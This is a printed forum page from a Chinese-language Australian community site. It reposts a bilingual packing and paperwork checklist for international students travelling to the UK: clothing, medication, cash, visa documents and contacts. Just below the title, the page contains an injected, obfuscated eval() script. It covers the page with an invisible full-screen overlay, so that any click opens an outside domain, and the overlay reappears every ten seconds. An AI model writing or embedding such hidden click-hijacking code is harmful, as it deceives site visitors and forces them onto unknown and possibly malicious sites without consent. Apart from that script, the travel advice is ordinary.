滴答网 - 澳洲中文网_澳洲交友_澳洲租房_澳洲房产_澳洲旅游_澳洲汽车_二手市场_澳大利亚华人论坛

标题: 推荐--英国老师写的来英国应该带哪些东西(中英文) [打印本页]

作者: 佚名    时间: 2013-6-11 00:18
标题: 推荐--英国老师写的来英国应该带哪些东西(中英文)
<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>所有内容由Unipacks英国宿舍用品网 提供。

感谢很多中国留学生对行前准备的经验分享,这里也分享下英国老师觉得改带的东西以及重要文件的check list。新同学们可以结合起来看。

翻译如下,原意以英文原文为准哦~:

英国的天气是有著名的变性的,因此我列出了如下的行李清单,但航空公司的行李限制通常是(20-25公斤),具体限重需要同航空公司确认,超过的话你可能要支付额外的费用。

?保暖,防风外衣帽,包括手套,围巾,无檐小便帽,帽子和厚袜子,这样进到暖和的室内就可以直接脱掉外衣。如果你从一个热带的气候刚过来,气温大幅度的下降可能会让你马上不太适应。
?一个面试和正式场合的穿的正装(现在城镇的主要街道上都有慈善商店,如果你正在考虑找份兼职工作,需要正式的衣服,你也许可以在那里找到便宜又合适的衣服。慈善商店详情见www.charityshops.org.uk
?重要的联系方式清单:银行地址,联系人,大学联络人,学生代理等
?处方药物,有需要的话需要医生的信件并描述用药目的
?您如何到达学校的路线计划。交通信息请看www.transportdirect.info
?钥匙扣
?家用电器插头适配器
?个人物品,如家人的照片和熟悉的物品,让你有一点在家的感觉
?采购宿舍需要用的的床上用品,厨具等生活用品可以在出发前在网上订购好并安排日期送到宿舍,也可以选择到宿舍后寻找周围的超市商店购买。
?航空公司的限制:请与你的航空公司具体的行李限额是多少,并尝试不要超过规定重量 - 否则,你可能需要支付额外的行李费用或在数百人面前打开你的手提箱!
?随身携带的手提行李:最重要的资料你是需要随身带的 - 如登机证,护照和签证,体检报告,银行对账单,CAS号码和大学录取信,现金,重要的电话号码和电子邮件地址。
随身需要带多少现金呢?
你应该带足够的资金来支付你的急需支付的费用。我建议学生带来足够的资金来支付你至少六个星期的生活,住宿和学费- 直到您的银行帐户是完全可操作的。
或者可以携带汇票、旅行支票,或者在到达英国之前开通英国当地的银行账户,并提前汇款过来。

旅程准备指南和列表清单
(为了打印出来对照会比较方便)
l
有效护照和签证(相关签证网站www.ukba.gov.uk)
l
入境事务处热线+44(0)2073789191
l
机票
l
旅程中的其他车票,如果有的话
l
一些英镑现金
l
确保您的手机能使用英国SIM卡
l
疫苗接种证名(如果需要)
l
X射线胸透的报告(如果需要)
l
录取通知书
l
足够的资金证明文件,为您在英国的学费和生活费用的支付 - 通常每月800英镑一年9个月学期,和一些英镑现金或旅行支票
l
如果使用旅行支票,请记录旅行支票的编码
l
奖学金证明,如果有的话
l
从你的大学,学院或学校的赞助信、推荐信(如有)
l
以前的学位及其他学业证书的核证副本
l
3个月的银行账单
l
以前的家庭住址证明原件
l
如果您长期住宿没有最终敲定,需提前预订临时住宿
l
到学校/住处的路线(见www.transportdirect.info)计划好,从机场到目的地。
l
护照、签证及相关证书的复印件
l
护照规格的照片,为办理学生卡,驾驶证和其他旅行卡等需要用到
l
旅游保险文件
l
英国电器插头适配器
l
房东、学生顾问及代理的联系方式
l
住宿地址
l
大学/学院地址
l
您的银行帐户的详细资料
l
住宿和行程预订的确认信和付款凭证

文章出处:Unipacks英国大学生宿舍用品网,转载请注明!希望对留英学生们有帮助~!

The British weatheris renowned for its changeability, so consider taking the following, but bearin mind the luggage restrictions that airlines impose (20-25 kg), otherwise youmay have to pay extra.

?Warm, windproof outer clothing, includinggloves, scarves, beanies, hats and thick socks Dress in layers, so that theycan remove outer clothing when they go into heated buildings. If you are from awarm climate, the drop in temperature can be a bit of a shock to the system atfirst.
? A smart outfit for interviews and formaloccasions (there are charity shops on most high streets now, and, if you areconsidering working as a student and need formal clothes, you can find bargainsand support a good cause at the same time. See [url]www.charityshops.org.uk
? A list of important contact details: bankaddress, contact person, university liaison officer, agent
? Prescribed medication, should you need it,with a doctor’s letter describing its purpose
? A plan of your route to your destination.See [url]www.transportdirect.info
? A key ring
? A multi-plug electrical adapter to fit yourappliances
? Personal items such as photos and familiarkeepsakes to make you feel at home
? There is also the option of purchasing basicitems that offer you the convenience of having your bedding, kitchenware andother items delivered to your accommodation for you reasonably inexpensively.
? Airline restrictions: check with yourairline what your baggage allowance is and try and stick to it – otherwise youcould incur extra baggage costs or having to unpack your suitcase in front ofhundreds of people!
? Carryon/hand luggage: most important are the things you need when you get off theplane – such as boarding pass, passport and visa, chest x-rays, bankstatements, CAS number and offer of place from university, cash, importantphone numbers and email addresses
How much moneyshall I bring?
You should bringenough money to cover your immediate needs. We suggest that you bring enough moneyto cover your subsistence, your accommodation and your academic fees for aminimum of six weeks – until your bank account is fully operational.
You may like tobring this money in the form of traveller’s cheques, should you have beenunable to open a local bank account prior to your arrival in the UnitedKingdom. You may like to consider opening a UK Bank account prior to departure.

Journeypreparation guide and tick list
(Print off for yourconvenience)
A valid passport and visa (Entry Clearance granted by the British HomeOffice (useful website [url]www.ukba.gov.uk))
Immigration Helpline 0207 378 9191
Air tickets
Onward journey travel tickets if necessary
Some British pounds
Ensure that your mobile phone is unblocked for use with a UK Pay As YouGo SIMcard
Vaccination certificates if appropriate
X-ray and x-ray report (if required)
Letter of acceptance from place of study
Documentary evidence of enough funds to pay for your tuition and livingcosts in the United Kingdom – normally £800 per month for 9 months of the year,and some British Pounds in cash or Traveller’s Cheques
Make a note of the numbers of your Traveller’s Cheques if you have them
Proof of scholarship, if you have one
Sponsorship letter from your university, college or school (ifappropriate)
Certified copies of previous degrees and other academic certificates
3 months’ bank statements
Proof of previous home address, e.g. original copies of utilities bills
Book your temporary accommodation if your long-term accommodation isnot finalised
Work out your route (see [url]www.routeplanner.co.uk) to plan your onwardtravel from your destination airport.
A few certified copies of your picture page of your passport and visa,and relevant certificates
Certified passport-size photographs, as you often need these forstudent discount cards, driving licence and other travel cards
Travel insurance documents
UK Electrical Plug adapter
Contact details for your landlord, student advisor and agent
Accommodation address
University/College/School address
Your bank account details
Confirmation ofaccommodation and travel bookings and receipt of payment

文章出处:Unipacks英国大学生宿舍用品网,转载请注明!希望对留英学生们有帮助~!




欢迎光临 滴答网 - 澳洲中文网_澳洲交友_澳洲租房_澳洲房产_澳洲旅游_澳洲汽车_二手市场_澳大利亚华人论坛 (https://nearther.cn/) Powered by Discuz! X3.2